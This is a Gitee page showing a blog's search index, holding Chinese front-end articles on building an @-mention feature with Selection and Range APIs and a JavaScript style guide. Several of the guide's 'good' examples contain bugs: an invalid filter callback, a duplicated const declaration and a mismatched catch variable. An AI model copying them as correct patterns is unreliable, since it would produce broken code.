1 Star 0 Fork 1

House / webBlog

forked from wuwhs / wuwhs 
加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
search.xml 829.06 KB
一键复制 编辑 原始数据 按行查看 历史
wuwhs 提交于 2022-10-23 11:47 . Site updated: 2022-10-23 11:47:09
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title><![CDATA[realize-at]]></title>
<url>%2F2022%2F09%2F15%2Frealize-at%2F</url>
<content type="text"><![CDATA[背景一天产品大大向 boss 汇报完研发成果和产品业绩产出,若有所思的走出来,劲直向我走过来,嘴角微微上扬。产品大大:boss 对我们的研发成果挺满意的,balabala…(内心 OS:不听,讲重点)产品大大:咱们的客服 IM 桌面客户端现在已经有能力做到 1 对多接待在线访客了,后面我们想要将专项问题访客在当前接待客服不能解决的情况下,可以拉专项客服发起群聊。我:嗯,这个想法不错,专项客服还能一眼看到之前对话上下文,访客还无须重新发起聊天。哒哒哒,功能做完了,两周后上线验收,客户很满意,boss 在群里也点了个 👍🏻。产品大大又来了:嗯,这个功能不错,我们也支持给客服自己群聊吧,有助于客服群体沟通和问题反馈。我:嗯,这个想法也不错,群聊的内容也有助于后期的用户声音数据挖掘。哐哐哐,做好了,上线,调整好心态,静等被各路大佬 👍🏻 淹没。客服 A:搞毛啊,你们群聊都不给个@功能,我怎么 diao 你们研发啊。客服 B/C/D:➕10086。我:。。。哈哈哈,上面的虚拟场景纯属好玩,下面就怎样完美的实现一个@功能展开,包教包会。在进入正题之前,咱们先预备一些对光标选区的“基操”知识。而对光标选区的操作在页面上的元素大致分为两大类:text/textarea 文本输入框元素和富文本元素。下面分别对一些常用 API 进行简单介绍。 text/textarea 文本输入框中操作光标选区首先看这类操作方式,几乎可以不用 Selection和 Range相关 API,使用的是文本输入框元素原生方法。 主动选中某一区域主动选中在文本输入框元素某一区域可以使用 setSelectionRange 。 element.setSelectionRange(selectionStart, selectionEnd [, selectionDirection]); selectionStart 被选中的第一个字符的位置索引,从 0 开始。 selectionEnd 被选中的最后一个字符的 下一个 位置索引。 selectionDirection 选择方向的字符串。 123$input.setSelectionRange(0, 6)// $input.select() // 全部选中$input.focus() 聚焦到某一位置如果我们想把光标移动到 😃😄😁 后面,其实是将选区起始位置设置相同的效果 12$input.setSelectionRange(6, 6)$input.focus() 还原之前的选区有些场景,我们选择了当前input文本框选区,要去做别的操作,回来后要恢复选区,这时在做别的操作之前就要将选区位置存下来,会用到selectionStart和 selectionEnd两个属性。 12345678910$input.addEventListener('mouseup', () =&gt; &#123; this.pos = &#123; start: $input.selectionStart, end: $input.selectionEnd &#125;&#125;)const &#123; start, end &#125; = this.pos$input.setSelectionRange(start, end)$input.focus() 在指定选区插入(替换)内容指定文本输入框的某个位置插入内容或者替换选区的内容,可以使用 setRangeText 实现。 setRangeText(replacement)setRangeText(replacement, start, end, selectMode) 这个方法有 2 种形式,第二种形式有 4 个参数: 第一个参数replacement是替换文本; start和 end是起始位置,默认值该元素当前选中的区域的位置; 最后一个参数selectMode是替换后选区的状态,它有 4 个状态:select(替换后选中)、start(替换后光标位于替换词之前)、end(替换后光标位于替换词之后)和 preserve(默认值,尝试保留选区); 我们将光标或者选区位置插入或者替换文本 😂😂😂,可以这样 12$input.setRangeText('😂😂😂')$input.focus() 下面再来看看第二种有 4 个参数形式,发现会在我们指定的起始位置插入内容后,当前的选区和光标尝试保留。替换后选区的状态另外 3 种场景大家可以自行测试。 12$input.setRangeText('😂😂😂', 8, 8, 'preserve')$input.focus() 关于选区的操作在 input/textarea 输入框中的操作常用的差不多就这些,下面简单总结一下 富文本中操作光标选区——Selection &amp; Range设置富文本首先富文本元素是可编辑元素,可以在元素上看到光标,除了表单元素,还有给普通元素添加属性可以转换文富文本元素,可以通过一下三种方式转换。 给元素添加属性 contenteditable=&quot;true&quot;; 添加 CSS 属性 -webkit-user-modify: &quot;read-write&quot;; 通过 js 的 document.designMode=&quot;on&quot;方式设置; Selection &amp; Range在富文本中对光标及选区的操作,不得不提 JavaScript 的两个原生对象: Selection 和 Range 。 Selection 对象表示用户选择的文本范围或插入符号的当前位置。它代表页面中的文本选区,可能横跨多个元素。文本选区由用户拖拽鼠标经过文字而产生。要获取用于检查或修改的 Selection 对象,请调用 window.getSelection()。 Range 对象表示包含节点和部分文本节点的文档片段。通过 selection对象获得的 range对象才是我们操作光标的重点。 大家可能注意到 getRangeAt(0),选区可能会有多个 range? 还真是,在 Firefox 支持多个选区,通过 cmd键(windows上是 ctrl键)可以实现多选区。再看一个 range 返回的一个属性,collapsed,表示选区的起点与终点是否重叠。当collapsed为true时,选中区域被压缩成一个点,对于普通的元素,可能什么都看不到,如果是在可编辑元素上,那这个被压缩的点就变成了可以闪烁的光标。 主动选中富文本的某个节点选中富文本中的某个独立标签,可以用到两个 API,Range.selectNode() 和 Range.selectNodeContent(),两者不同的是前者包括节点自身,后者不包括自身。比如我们想独立选中富文本的第二个子元素&lt;span style=&quot;color: #00965e;&quot;&gt;Selection&lt;/span&gt; ,使用 Range.selectNode() API 选中元素,删除的是整个元素,再输入内容是没有样式的。 1234const $span = $input.childNodes[1]range.selectNode($span)selection.removeAllRanges()selection.addRange(range) 当然部分浏览器(比如 Chrome104)是有差异的,在删除整个节点后,新输入的内容时会插入一个标签(font)并集成之前的样式。使用 Range.selectNodeContents() API 选中的是节点内部内容,当删除选中内容后,节点本身还在。 1234const $span = $input.childNodes[1]range.selectNodeContents($span)selection.removeAllRanges()selection.addRange(range) 以上是对富文本中单个节点的选中操作,然而,实际上富文本中的节点可能是嵌套或者平行的,怎样跨多个元素去选中操作呢? 主动选中富文本的某一区域表单输入框只有单一文本,而富文本元素或者普通元素包含多个元素。当主动选中页面某一区域,先要创建一个Range对象,可能会跨多个元素,所以要设置选区的起始节点,分别是 Range.setStart() 和 Range.setEnd() 方法。 range.setStart(startNode, startOffset);range.setEnd(endNode, endOffset); startNode 开始节点 startOffset 从 startNode 的开始位置算起的偏移量 endNode 结束节点 endOffset 从 endNode 的结束位置算起的偏移量 上面是设置选区范围,然后将其添加到选区并选中 Selection.addRange()。不过,一般在添加前,会清除之前的选区,这时就要用到 Selection.removeAllRanges() 。 123456const selection = document.getSelection()const range = document.createRange()range.setStart($input.firstChild, 0)range.setEnd($input.firstChild, 4)selection.removeAllRanges()selection.addRange(range) 注意这里取富文本元素的第一个子节点(文本节点),而不是元素本身,否则就会超出偏移量,出现报错。因为在计算元素节点和文本节点偏移量是有差别的: 如果起始节点类型是 Text、Comment 或 CDATASection 之一,那么 startOffset 指的是从起始节点算起字符的偏移量。 对于其他 Node 类型节点,startOffset 是指从起始结点开始算起子节点的偏移量。 那么问题来了,如果我想选中富文本开头这一段 😃😄😁&lt;span style=&quot;color: #00965e;&quot;&gt;Selection&lt;/span&gt; 对象,怎样实现呢?对于比较复杂的富文本元素结构,要实现任意区间选中,关键要找到起始节点和结束节点,以及它们各自的偏移量。 好像没有更好的原生方法可以借助,这里有一种方案,首先遍历出富文本包含所有的文本节点,然后记录每个节点边界的偏移量,查找出满足区间条件的起始和结束节点,最后从起始和结束节点中计算各自需要的文本偏移量。 12345678910111213141516171819202122232425262728293031/** * 获取所有文本节点及其偏移量 * @param &#123;HTMLElement&#125; wrapDom 最外层节点 * @param &#123;Number&#125; start 开始位置 * @param &#123;Number&#125; end 结束位置 * @returns */function getNodeAndOffset(wrapDom, start = 0, end = 0) &#123; const txtList = [] const map = function (children) &#123; ;[...children].forEach((el) =&gt; &#123; if (el.nodeName === '#text') &#123; txtList.push(el) &#125; else &#123; map(el.childNodes) &#125; &#125;) &#125; // 递归遍历,提取出所有 #text map(wrapDom.childNodes) // 计算文本的位置区间 const clips = txtList.reduce((arr, item, index) =&gt; &#123; const end = item.textContent.length + (arr[index - 1] ? arr[index - 1][2] : 0) arr.push([item, end - item.textContent.length, end]) return arr &#125;, []) // 查找满足条件的范围区间 const startNode = clips.find((el) =&gt; start &gt;= el[1] &amp;&amp; start &lt; el[2]) const endNode = clips.find((el) =&gt; end &gt;= el[1] &amp;&amp; end &lt; el[2]) return [startNode[0], start - startNode[1], endNode[0], end - endNode[1]]&#125; 有了这个我们自己封装的工具方法,就可以选中任意文字区间,而不用考虑富文本的元素结构。 1234567const selection = document.getSelection()const range = document.createRange()const nodes = this.getNodeAndOffset($input, 4, 17)range.setStart(nodes[0], nodes[1])range.setEnd(nodes[2], nodes[3])selection.removeAllRanges()selection.addRange(range) 聚焦到某一位置通过上面已实现选中任意区间文字,再来看将光标聚焦到某一位置,就简单多了,只选将起始和结束范围位置设置相同即可。 1234567const selection = document.getSelection()const range = document.createRange()const nodes = this.getNodeAndOffset($input, 7, 7)range.setStart(nodes[0], nodes[1])range.setEnd(nodes[2], nodes[3])selection.removeAllRanges()selection.addRange(range) 还原之前的选区同文本输入框保存当前的光标位置,在富文本里,可以将整个选区都保存下来,然后在后面复原选区。 1234567891011// 保存光标$input.addEventListener('mouseup', () =&gt; &#123; const selection = document.getSelection() const range = selection.getRangeAt(0) this.lastRange = range&#125;)// 还原光标const selection = document.getSelection()const range = document.createRange()selection.removeAllRanges()selection.addRange(this.lastRange) 在指定选区插入(替换)内容在选区插入内容,可以使用 Range.insertNode() 方法,它表示在选区的起点处插入一个节点,并且不会替换当前已经选中的,如果需要替换,可以先删除,删除选区可以用 Range.deleteContent() 方法。 123const $text = document.createTextNode('😂😂😂')this.lastRange.deleteContents()this.lastRange.insertNode($text) 从上面客服发现,插入内容后,内容是被选区选中状态,如果希望光标在插入的内容后面,可以使用 Range.setStartAfter() 设置选区的起点为元素的后面,默认选区的终点在元素的后面 Range.setEndAfter(),无须设置。 12this.lastRange.setStartAfter($text)$input.focus() 同样,也可以使用 Range.setEndBefore 和 setStartBefore将光标设置到内容的前面。 给指定选区包裹标签还有一些比较高级的用法应用,比如给某句话加背景标记效果,类似 word 文档文字选中加背景色。可以通过 Range.surroundContents() 方法实现。 不过,当选区包含多个元素,也就是断开了一个非 text 节点,只包含了节点的其中一个边界,就会抛出异常。那么怎样可以规避这个问题,实现跨多个节点选中标记呢?答案是 extractContents(),它会将我们的选区多节点移动到 DocumentFragment 对象,需要注意的是 使用 DOM 事件添加的事件监听器在提取期间不会保留。HMTL 属性事件将按 Node.cloneNode() 方法原样保留和复制。HTML id 属性也会被克隆,如果提取了部分选定的节点并将其附加到文档中,则可能导致无效的文档。 用标签包裹该文档片段,然后插入。 12345const $mark = document.createElement('mark')// this.lastRange.surroundContents($mark)const fragments = this.lastRange.extractContents()$mark.append(fragments)this.lastRange.insertNode($mark) 光标/选区的位置坐标有时我们想确定文本区域中被选中的部分或者光标的视窗坐标,以此可以将类似备注或者悬浮框定位到附近。这里可以使用 Range.getBoundingClientRect() API,它返回一个 DOMRect 对象,该对象将范围中的内容包围起来;即该对象是一个将范围内所有元素包围起来的矩形。 123456const pos = this.lastRange.getBoundingClientRect()const highlight = document.getElementById('highlight')highlight.style.left = `$&#123;pos.x&#125;px`highlight.style.top = `$&#123;pos.y&#125;px`highlight.style.width = `$&#123;pos.width&#125;px`highlight.style.height = `$&#123;pos.height&#125;px` 1234#highlight &#123; position: absolute; background-color: aqua;&#125; 选中了 3 行,但不是完整的 3 行,给回的信息是一个最小包裹选区的矩形位置坐标,如果还需要知道选取中每个元素更详细的位置坐标,可以使用 Range.getClientRects(),它返回的是一个 DOMRect 对象列表,表示 Range 在屏幕上所占的区域。这个列表相当于汇集了范围中所有元素调用 Element.getClientRects()方法所得到的结果。 1this.lastRange.getClientRects() Selection&amp;Range 的 API 很多,常用的大致以上列举的,同样简单总结一下 @的功能实现如果你已经熟悉了上面的「基操」,那么对于实现一个@功能已经成功了一半,剩下的一半就是思路了,大致分为如下几步: 监听用户输入了@字符,展示用户列表; 点击用户,导致输入框失焦,及时保存光标信息; 点击完成,用户列表隐藏,恢复输入框的光标,然后在光标后插入用户名; 首先我们写好 HTML,CSS 部分在这里省略 12345678910111213141516&lt;!-- 富文本聊天消息输入框 --&gt;&lt;div class="chat-input" ref="chatInput" contenteditable="true" placeholder="请输入内容" @input="inputChatContent" @blur="chatContentBlur" @mouseup="chatContentMouseup"&gt;&lt;/div&gt;&lt;!-- 用户列表浮窗 --&gt;&lt;ul class="popper" v-show="isShowUserList" ref="popper" :style="popperStyle" v-click-out-hide&gt; &lt;li v-for="(item, index) in userList" :key="index" @click="selectUser(item)"&gt; &lt;el-row&gt;&#123;&#123;item.name&#125;&#125;&lt;/el-row&gt; &lt;/li&gt;&lt;/ul&gt; 接着我们监听富文本的input事件,当监听到 @ 字符,展示用户列表,否则隐藏。于此同时,使用 Range.getBoundingClientRect() 获取光标的位置,这样才能将用户列表浮框定位到光标附近。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950/** * 输入聊天内容 * @param &#123;*&#125; ev */inputChatContent(ev) &#123; if (ev.data === '@') &#123; const pos = this.getCaretPos() this.showUserList() this.$nextTick(() =&gt; &#123; this.setUserListPos(pos) &#125;) &#125; else &#123; this.hideUserList() &#125;&#125;,/** * 获取光标位置 * @returns */getCaretPos() &#123; const range = this.getRange() const pos = range.getBoundingClientRect() return pos&#125;,/** * 设置用户列表的位置 * @param &#123;*&#125; pos */setUserListPos(pos) &#123; const $popper = this.$refs.popper const panelWidth = $popper.offsetWidth const panelHeight = $popper.offsetHeight const &#123; x, y &#125; = pos this.popperStyle = &#123; top: y - panelHeight - 20 + 'px', left: x - panelWidth / 2 + 'px' &#125;&#125;,hideUserList() &#123; this.isShowUserList = false&#125;,showUserList() &#123; this.isShowUserList = true&#125;, 当点击用户列表时,输入框会失焦,此时先将光标保存起来,同时创建将要插入的用户名文本节点,然后恢复光标,再 Range.insetNode() 将用户名文本节点 Range.insetNode() 插入到选区,最后 Selection.removeAllRanges() 移除所有页面选区,Selection.addRange() 插入当前选区。 1234567891011121314151617181920212223242526272829303132333435363738 /** * 选择用户 */selectUser(user) &#123; // 让失焦事件先执行 setTimeout(() =&gt; &#123; this.hideUserList() this.insertContent(user) &#125;)&#125;,/** * 恢复光标 */restoreCaret() &#123; if (this.lastRange) &#123; const selection = window.getSelection() selection.removeAllRanges() selection.addRange(this.lastRange) &#125;&#125;,/** * 插入内容 * @param &#123;*&#125; data */insertContent(data) &#123; this.restoreCaret() // 还原光标 const selection = window.getSelection() const range = selection.getRangeAt(0) range.collapse(false) // 折叠选区,光标移到最后 range.insertNode(data.content) range.collapse(false) selection.removeAllRanges() selection.addRange(range)&#125; @功能加强版以上是简单实现了@ 功能,在实际应用中还有更多提升用户体验的地方 当前通过退回键删除用户名@xxx,发现删除的是逐个字符,而用户更多想要的是按一下退回键,删除整个用户名; 发送出去怎样解析成后端能识别的特定的数据结构,并且特定的数据结构怎样转换回富文本呢? 暂且带这两个问题,接着怎样解决呢? 实现整体删除用户名首先想到的是用户名插入富文本是一个标签,按一下退回键,就能删除整个标签?答案是不能,富文本标签里的文字在没有选中情况下都是逐个删除。除非该元素是不可编辑元素 span.contentEditable = false。这里要将 @xxx放入不可编辑标签中,删除的时候才能一起删。此时会有一个问题,每次插入用户标签后,多出一个@ 字符,所以在之前已经输入的 @ 字符就需要在插入标签前需要删除掉。具体实现是找到选区所在的开始节点 Range.startContainer,再找到选区结束位置的偏移量 Range.endOffset ,正常情况下选区结束位置的前一个就是 @字符,选中删除即可。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566/** * 删除输入框中光标位置现有的@字符 */deleteCaretAtCode() &#123; const range = this.getRange() // 光标开始节点和光标在节点上的偏移量,找到光标准确位置,选中光标位置前一个字符范围并删除, const node = range.startContainer const end = range.endOffset // 开始节点内容最后一个字符是@,删除,否则不删除 if (node.textContent[end - 1] === '@') &#123; range.setStart(node, end ? end - 1 : 0) range.deleteContents() &#125;&#125;,/** * 转换要插入光标位置的内容 * @param &#123;*&#125; data */parseContent(data) &#123; const &#123; type = 'text', name &#125; = data let content = null // type 是插入内容类型,可能是文本、@标签、图片、表情等 if (type === 'text') &#123; content = document.createTextNode(name) &#125; else if (type === 'at') &#123; // 删除输入框中光标位置现有的@字符 this.deleteCaretAtCode() const $span = document.createElement('span') $span.contentEditable = false $span.classList.add('tag') $span.innerHTML = `@$&#123;name&#125;` // 插入一个空格字符(\u0010)到@标签后面,可以解决部分浏览器上光标在聊天输入框后面 const $space = document.createTextNode('\u0010') const frag = document.createDocumentFragment() frag.appendChild($span) frag.appendChild($space) content = frag &#125; return content&#125;, /** * 插入内容 * @param &#123;*&#125; data */insertContent(data) &#123; this.restoreCaret() // 还原光标 const selection = window.getSelection() const range = selection.getRangeAt(0) range.collapse(false) // 折叠选区,光标移到最后 const pc = this.parseContent(data) range.insertNode(pc) range.collapse(false) selection.removeAllRanges() selection.addRange(range)&#125; 一些兼容处理可能你已经注意到了,在用户标签@xxx后面追加了一个空格字符,这样光标可以显示出来,不过在用退格键需要按两次删除标签,这里具体的要看业务需要了。注意的是在 Mac Chrome(V104)上,如果在标签后面不追加字符,光标会在外层富文本标签后面,在非编辑标签后加任意字符是正常的。经过测试 Firefox 浏览器有这样的 bug:用户标签@xxx没有正确的插入到富文本输入框的位置,而是插入到了用户列表点击的那一项上了。大胆推测 Firefox 将普通元素也可以设置光标,这样点击用户列表某一项元素时,该元素获得光标,再获取新选区 selection.getRangeAt(0)其实是在点击的这个元素上,非恢复的富文本输入框上,然后插入用户标签,也就是上面的情景。这里我的解决方法是将用户列表项设置为不可选中的,自然就无法获取光标。 1234567.popper li &#123; /* 用户不能选中文本 firfox 非编辑编辑元素也可选中 */ user-select: none; -webkit-user-select: none; list-style: none; padding: 10px;&#125; 我们再看看再 Safari 上的表现发现是没有按照预想的删除掉前置的@字符的,查看控制台有报错大致意思是 selection.getRangeAt(0)中第 0 位是超出允许的范围的,难道在输入框失去焦点的情景下,Safari 默认将选区给清空了?通过实验发现确实如此 123// 输入框失去焦点和获取焦点时打印选区个数const selection = window.getSelection()console.log('selection.rangeCount: ', selection.rangeCount) 而正常其他浏览器选区个数保持不变那怎样解决这种情景呢?我们是在输入框失焦的时候保存选区的,此时 Safari 已经清空了选区,导致这个时候保存的选区是空的,因此我们要将选区保存前置一下,在输入@字符时候就保存一下选区(光标),可以这样做 1234567891011121314151617/** * 输入聊天内容 * @param &#123;*&#125; ev */inputChatContent(ev) &#123; if (ev.data === '@') &#123; // 在输入@字符时候就保存一下光标 this.saveCaret() const pos = this.getCaretPos() this.showUserList() this.$nextTick(() =&gt; &#123; this.setUserListPos(pos) &#125;) &#125; else &#123; this.hideUserList() &#125;&#125;, 总结本文以“完美”实现一个@ 功能为引子,介绍了 input/textarea 文本输入框和富文本的选区操作。并在此基础上结合@ 功能的实现思路,边实践边改进,不乏有很多地方没有考虑周全的,仅当作学习的 demo 就好,欢迎指正。本文在线案例可以点这里,完~]]></content>
<tags>
<tag>javascript html5</tag>
</tags>
</entry>
<entry>
<title><![CDATA[组员重构代码千奇百怪,直接JS、ES6和Vue规范给一梭子]]></title>
<url>%2F2021%2F12%2F01%2Fstyle%2F</url>
<content type="text"><![CDATA[近期组员接手了一个“古老“的初始由后端大佬写的前端项目,业务层面的组件复用,全靠是 copy 相同代码咱不说,经过不同大佬们的维护,代码风格更是千奇百怪。该前端项目还在正常迭代更新,又不可能重写,面对 💩 一样的代码,两个接手的小前端抱着欲哭无泪,瑟瑟发抖。见状,只能安慰之,暂时发挥啊 Q 精神,规范自己的新代码,然后每次迭代开发任务重构一两个旧组件,此过程持续 2-3 个月后,上 eslint 和 prettier 自动化检测语法和格式化代码。本着“代码不规范,新人两行泪”的警示,总结出如下 JavaScrip、ES6 和 Vue 单文件组件相关代码风格案例,供大家参考。 Javascript 代码风格使用有意义的变量名称变量的名称应该是可描述,有意义的, JavaScript 变量都应该采用驼峰式大小写 ( camelCase) 命名。 1234567891011// bad ❌const foo = 'JDoe@example.com'const bar = 'John'const age = 23const qux = true// good ✅const email = 'John@example.com'const firstName = 'John'const age = 23const isActive = true 布尔变量通常需要回答特定问题,例如: 123isActivedidSubscribehasLinkedAccount 避免添加不必要的上下文当对象或类已经包含了上下文的命名时,不要再向变量名称添加冗余的上下文。 123456789101112131415161718192021// bad ❌const user = &#123; userId: '296e2589-7b33-400a-b762-007b730c8e6d', userEmail: 'JDoe@example.com', userFirstName: 'John', userLastName: 'Doe', userAge: 23&#125;user.userId//good ✅const user = &#123; id: '296e2589-7b33-400a-b762-007b730c8e6d', email: 'JDoe@example.com', firstName: 'John', lastName: 'Doe', age: 23&#125;user.id 避免硬编码值1234567// bad ❌setTimeout(clearSessionData, 900000)//good ✅const SESSION_DURATION_MS = 15 * 60 * 1000setTimeout(clearSessionData, SESSION_DURATION_MS) 使用有意义的函数名称函数名称需要描述函数的实际作用,即使很长也没关系。函数名称通常使用动词,但返回布尔值的函数可能是个例外 — 它可以采用 是或否 问题的形式,函数名也应该是驼峰式的。 1234567891011121314151617// bad ❌function toggle() &#123; // ...&#125;function agreed(user) &#123; // ...&#125;//good ✅function toggleThemeSwitcher() &#123; // ...&#125;function didAgreeToAllTerms(user) &#123; // ...&#125; 限制参数的数量尽管这条规则可能有争议,但函数最好是有 3 个以下参数。如果参数较多可能是以下两种情况之一: 该函数做的事情太多,应该拆分。 传递给函数的数据以某种方式相关,可以作为专用数据结构传递。 123456789101112131415161718192021// bad ❌function sendPushNotification(title, message, image, isSilent, delayMs) &#123; // ...&#125;sendPushNotification('New Message', '...', 'http://...', false, 1000)//good ✅function sendPushNotification(&#123; title, message, image, isSilent, delayMs &#125;) &#123; // ...&#125;const notificationConfig = &#123; title: 'New Message', message: '...', image: 'http://...', isSilent: false, delayMs: 1000&#125;sendPushNotification(notificationConfig) 避免在一个函数中做太多事情一个函数应该一次做一件事,这有助于减少函数的大小和复杂性,使测试、调试和重构更容易。 12345678910111213141516171819// bad ❌function pingUsers(users) &#123; users.forEach((user) =&gt; &#123; const userRecord = database.lookup(user) if (!userRecord.isActive()) &#123; ping(user) &#125; &#125;)&#125;//good ✅function pingInactiveUsers(users) &#123; users.filter(!isUserActive).forEach(ping)&#125;function isUserActive(user) &#123; const userRecord = database.lookup(user) return userRecord.isActive()&#125; 避免使用布尔标志作为参数函数含有布尔标志的参数意味这个函数是可以被简化的。 1234567891011121314151617// bad ❌function createFile(name, isPublic) &#123; if (isPublic) &#123; fs.create(`./public/$&#123;name&#125;`) &#125; else &#123; fs.create(name) &#125;&#125;//good ✅function createFile(name) &#123; fs.create(name)&#125;function createPublicFile(name) &#123; createFile(`./public/$&#123;name&#125;`)&#125; 避免写重复的代码如果你写了重复的代码,每次有逻辑改变,你都需要改动多个位置。 1234567891011121314151617181920212223242526272829303132333435363738394041424344// bad ❌function renderCarsList(cars) &#123; cars.forEach((car) =&gt; &#123; const price = car.getPrice() const make = car.getMake() const brand = car.getBrand() const nbOfDoors = car.getNbOfDoors() render(&#123; price, make, brand, nbOfDoors &#125;) &#125;)&#125;function renderMotorcyclesList(motorcycles) &#123; motorcycles.forEach((motorcycle) =&gt; &#123; const price = motorcycle.getPrice() const make = motorcycle.getMake() const brand = motorcycle.getBrand() const seatHeight = motorcycle.getSeatHeight() render(&#123; price, make, brand, nbOfDoors &#125;) &#125;)&#125;//good ✅function renderVehiclesList(vehicles) &#123; vehicles.forEach((vehicle) =&gt; &#123; const price = vehicle.getPrice() const make = vehicle.getMake() const brand = vehicle.getBrand() const data = &#123; price, make, brand &#125; switch (vehicle.type) &#123; case 'car': data.nbOfDoors = vehicle.getNbOfDoors() break case 'motorcycle': data.seatHeight = vehicle.getSeatHeight() break &#125; render(data) &#125;)&#125; 避免副作用在 JavaScript 中,你应该更喜欢函数式模式而不是命令式模式。换句话说,大多数情况下我们都应该保持函数纯洁。副作用可能会修改共享状态和资源,从而导致一些奇怪的问题。所有的副作用都应该集中管理,例如你需要更改全局变量或修改文件,可以专门写一个 util 来做这件事。 1234567891011121314151617181920212223// bad ❌let date = '21-8-2021'function splitIntoDayMonthYear() &#123; date = date.split('-')&#125;splitIntoDayMonthYear()// Another function could be expecting date as a stringconsole.log(date) // ['21', '8', '2021'];//good ✅function splitIntoDayMonthYear(date) &#123; return date.split('-')&#125;const date = '21-8-2021'const newDate = splitIntoDayMonthYear(date)// Original vlaue is intactconsole.log(date) // '21-8-2021';console.log(newDate) // ['21', '8', '2021']; 另外,如果你将一个可变值传递给函数,你应该直接克隆一个新值返回,而不是直接改变该它。 123456789// bad ❌function enrollStudentInCourse(course, student) &#123; course.push(&#123; student, enrollmentDate: Date.now() &#125;)&#125;//good ✅function enrollStudentInCourse(course, student) &#123; return [...course, &#123; student, enrollmentDate: Date.now() &#125;]&#125; 使用非负条件1234567891011121314151617// bad ❌function isUserNotVerified(user) &#123; // ...&#125;if (!isUserNotVerified(user)) &#123; // ...&#125;//good ✅function isUserVerified(user) &#123; // ...&#125;if (isUserVerified(user)) &#123; // ...&#125; 尽可能使用简写123456789101112131415161718192021// bad ❌if (isActive === true) &#123; // ...&#125;if (firstName !== '' &amp;&amp; firstName !== null &amp;&amp; firstName !== undefined) &#123; // ...&#125;const isUserEligible = user.isVerified() &amp;&amp; user.didSubscribe() ? true : false//good ✅if (isActive) &#123; // ...&#125;if (!!firstName) &#123; // ...&#125;const isUserEligible = user.isVerified() &amp;&amp; user.didSubscribe() 避免过多分支尽早 return 会使你的代码线性化、更具可读性且不那么复杂。 12345678910111213141516171819202122232425// bad ❌function addUserService(db, user) &#123; if (!db) &#123; if (!db.isConnected()) &#123; if (!user) &#123; return db.insert('users', user) &#125; else &#123; throw new Error('No user') &#125; &#125; else &#123; throw new Error('No database connection') &#125; &#125; else &#123; throw new Error('No database') &#125;&#125;//good ✅function addUserService(db, user) &#123; if (!db) throw new Error('No database') if (!db.isConnected()) throw new Error('No database connection') if (!user) throw new Error('No user') return db.insert('users', user)&#125; 优先使用 map 而不是 switch 语句既能减少复杂度又能提升性能。 123456789101112131415161718192021222324// bad ❌const getColorByStatus = (status) =&gt; &#123; switch (status) &#123; case 'success': return 'green' case 'failure': return 'red' case 'warning': return 'yellow' case 'loading': default: return 'blue' &#125;&#125;//good ✅const statusColors = &#123; success: 'green', failure: 'red', warning: 'yellow', loading: 'blue'&#125;const getColorByStatus = (status) =&gt; statusColors[status] || 'blue' 使用可选链接123456789101112131415161718192021const user = &#123; email: 'JDoe@example.com', billing: &#123; iban: '...', swift: '...', address: &#123; street: 'Some Street Name', state: 'CA' &#125; &#125;&#125;// bad ❌const email = (user &amp;&amp; user.email) || 'N/A'const street = (user &amp;&amp; user.billing &amp;&amp; user.billing.address &amp;&amp; user.billing.address.street) || 'N/A'const state = (user &amp;&amp; user.billing &amp;&amp; user.billing.address &amp;&amp; user.billing.address.state) || 'N/A'//good ✅const email = user?.email ?? 'N/A'const street = user?.billing?.address?.street ?? 'N/A'const street = user?.billing?.address?.state ?? 'N/A' 避免回调回调很混乱,会导致代码嵌套过深,使用 Promise 替代回调。 12345678910111213141516171819202122232425262728293031323334// bad ❌getUser(function (err, user) &#123; getProfile(user, function (err, profile) &#123; getAccount(profile, function (err, account) &#123; getReports(account, function (err, reports) &#123; sendStatistics(reports, function (err) &#123; console.error(err) &#125;) &#125;) &#125;) &#125;)&#125;)//good ✅getUser() .then(getProfile) .then(getAccount) .then(getReports) .then(sendStatistics) .catch((err) =&gt; console.error(err))// or using Async/Await ✅✅async function sendUserStatistics() &#123; try &#123; const user = await getUser() const profile = await getProfile(user) const account = await getAccount(profile) const reports = await getReports(account) return sendStatistics(reports) &#125; catch (e) &#123; console.error(err) &#125;&#125; 处理抛出的错误和 reject 的 promise123456789101112131415161718192021222324// bad ❌try &#123; // Possible erronous code&#125; catch (e) &#123; console.log(e)&#125;//good ✅try &#123; // Possible erronous code&#125; catch (e) &#123; // Follow the most applicable (or all): // 1- More suitable than console.log console.error(e) // 2- Notify user if applicable alertUserOfError(e) // 3- Report to server reportErrorToServer(e) // 4- Use a custom error handler throw new CustomError(e)&#125; 只注释业务逻辑1234567891011121314151617181920212223242526272829303132333435363738394041// bad ❌function generateHash(str) &#123; // Hash variable let hash = 0 // Get the length of the string let length = str.length // If the string is empty return if (!length) &#123; return hash &#125; // Loop through every character in the string for (let i = 0; i &lt; length; i++) &#123; // Get character code. const char = str.charCodeAt(i) // Make the hash hash = 